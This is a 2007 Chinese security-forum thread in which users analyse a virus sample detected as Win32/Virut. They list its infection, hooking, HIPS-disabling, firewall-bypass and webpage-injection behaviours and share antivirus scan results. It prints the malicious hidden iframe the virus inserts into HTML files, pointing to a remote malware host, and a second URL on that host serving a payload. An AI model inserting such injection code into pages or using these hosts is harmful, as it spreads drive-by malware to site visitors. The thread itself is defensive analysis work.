强毒(等高人分析)

孤独更可靠

报的应该不少了

谁能分析下?

我是跟不全

1、IRCbot

2、感染文件（判断系统文件感染（跳过），系统盘一样遭殃，捆绑，感染标记PADDINGXXPADDING……）

3、Hook（不记得哪几个了），好像是进程启动和读取等几个函数

4、破坏HIPS驱动（EQ、SSM均失效），原理不懂，还是恢复了SSDT挂钩？

5、往Winlogon写入代码，并直接获取系统内存。

6、添加到系统防火墙的忽略列表（穿墙）。

7、查找硬盘网页，插入JS代码：

<iframe src="hXXp://ntkrnlpa.info/rc/?i=1" width=1 height=1 style="border:0"></iframe>
</BODY>
</HTML>


还漏了不少,谁拿去分析!!

分析后给个地址啊

PS:密码virus

The EQs

C:\Documents and Settings\Don johnson\桌面\nvsvc64\nvsvc64.exe - Win32/Virut.Z virus

magic659117852

孤独你都玩它不死  估计没几个人来试了

孤独更可靠

原帖由 EQ2 于 2007-10-9 16:25 发表
C:\Documents and Settings\Don johnson\桌面\nvsvc64\nvsvc64.exe - Win32/Virut.Z virus

老大,EQ的?

试试?



HIPS提前阻止的话,此病毒无效

The EQs

偶不装任何hips。。。。

不留名

孤独都搞不定..我们这些菜菜就不用试了..

孤独更可靠

原帖由 不留名 于 2007-10-9 16:30 发表
孤独都搞不定..我们这些菜菜就不用试了..

蚊大狭和小名不要开我玩笑...

dikex

那个iframe的网马的代码写的不错啊，像是老外弄的

挂了http://ntkrnlpa.info/rc/file.php?id=1
一个9KB的东西

kuririn

原帖由 孤独更可靠 于 2007-10-9 16:22 发表
报的应该不少了

谁能分析下?

我是跟不全

1、IRCbot

2、感染文件（判断系统文件感染（跳过），系统盘一样遭殃，捆绑，感染标记PADDINGXXPADDING……）

3、Hook（不记得哪几个了），好像是进程启动和读 ...

用 eq

但只有 5. 6. 發生

阻止 5. 6. 它就消失了

不過 5. 不是只有 winlogon.exe

而是所有進程它都會掃一遍

scottxzt

egin scan in 'C:\Documents and Settings\dell\桌面\新建文件夹'
C:\Documents and Settings\dell\桌面\新建文件夹\nvsvc64.exe
      [DETECTION] Contains detection pattern of the Windows virus W32/Virut.AF
      [INFO]      The file was successfully wiped!
      [INFO]      The file was deleted!